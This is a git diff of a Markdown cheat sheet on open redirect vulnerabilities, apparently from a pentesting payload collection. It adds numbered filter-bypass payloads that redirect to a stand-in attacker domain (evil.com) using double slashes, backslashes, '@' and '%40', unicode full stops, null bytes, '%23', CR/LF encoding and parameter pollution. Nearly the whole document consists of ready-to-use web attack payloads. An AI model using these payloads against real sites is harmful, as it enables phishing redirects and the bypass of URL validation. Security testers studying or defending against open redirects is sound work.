diff --git a/Open Redirect.md b/Open Redirect.md index 4dda42f..3e1fb93 100644 --- a/Open Redirect.md +++ b/Open Redirect.md @@ -1,66 +1,90 @@ -## Filter Bypass +## Open Redirect -1. Using a whitelisted domain or keyword +1. Try change the domain ``` -target.com.evil.com +/?redir=evil.com ``` -2. Using "//" to bypass "http" blacklisted keyword +2. Using a whitelisted domain or keyword ``` -//evil.com +/?redir=target.com.evil.com ``` -3. Using "https:" to bypass "//" blacklisted keyword +3. Using `//` to bypass `http` blacklisted keyword ``` -https:evil.com +/?redir=//evil.com ``` -4. Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //) +4. Using `https:` to bypass `//` blacklisted keyword ``` -\/\/evil.com/ -/\/evil.com/ +/?redir=https:evil.com ``` -5. Using "%E3%80%82" to bypass "." blacklisted character +5. Using `\\` to bypass `//` blacklisted keyword +``` +/?redir=\\evil.com +``` + +6. Using `\/\/` to bypass `//` blacklisted keyword +``` +/?redir=\/\/evil.com/ +/?redir=/\/evil.com/ +``` + +7. Using `%E3%80%82` to bypass `.` blacklisted character ``` /?redir=evil。com /?redir=evil%E3%80%82com ``` -6. Using null byte "%00" to bypass blacklist filter +8. Using null byte `%00` to bypass blacklist filter ``` -//evil%00.com +/?redir=//evil%00.com ``` -7. Using parameter pollution +9. Using parameter pollution ``` -?next=target.com&next=evil.com +/?next=target.com&next=evil.com ``` -8. Using "@" character, browser will redirect to anything after the "@" +10. Using `@` or `%40` character, browser will redirect to anything after the `@` ``` -target.com@evil.com -target.com%40evil.com +/?redir=target.com@evil.com +/?redir=target.com%40evil.com ``` -9. Creating folder as their domain +11. Creating folder as their domain ``` http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com ``` -10. Using "?" characted, browser will translate it to "/?" +12. Using `?` characted, browser will translate it to `/?` ``` -http://www.yoursite.com?http://www.theirsite.com/ -http://www.yoursite.com?folder/www.folder.com +/?redir=target.com?evil.com ``` -11. Host/Split Unicode Normalization +13. Bypass the filter if it only checks for domain name using `%23` +``` +/?redir=target.com%23evil.com +``` + +14. Host/Split Unicode Normalization ``` https://evil.c℀.example.com ``` -12. Using parsing +15. Using parsing ``` http://ⓔⓥⓘⓛ.ⓒⓞⓜ +``` + +16. Using `°` symbol to bypass +``` +/?redir=target.com/°evil.com +``` + +17. Bypass the filter if it only allows yoou to control the path using a nullbyte `%0d` or `%0a` +``` +/?redir=/%0d/evil.com ``` \ No newline at end of file